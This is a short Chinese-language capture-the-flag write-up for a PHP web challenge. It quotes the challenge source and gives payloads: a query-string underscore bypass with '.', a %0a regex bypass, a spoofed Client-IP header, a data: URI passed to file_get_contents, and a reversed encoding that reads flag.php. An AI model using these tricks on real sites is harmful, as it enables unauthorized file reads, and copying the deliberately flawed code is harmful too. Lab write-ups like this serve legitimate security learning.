进去后查看源码得到
<!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
$query中不能出现_或者%5f,可以使用.绕过,get方式提交的.会被转变成_
$b_u_p_t要等于23333,但是不能被匹配到23333,在末尾添加%0a绕过
payload: ?b.u.p.t=23333%0a
得到提示secrettw.php
访问并查看源码得到一堆jsfuck代码
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直接F12,复制到console里,按下回车,弹出post me Merak
post Merak,得到源码
<?php error_reporting(0); #include 'takeip.php'; ini_set('open_basedir','.'); #include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
- 需要ip为127.0.0.1,添加header为Client-IP:127.0.0.1
- 2333为todat is a happy day,令其为data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
- file经过change函数加密,将其逆向,得到所需flag.php=fj]a&f\b,对其进行base64编码并传入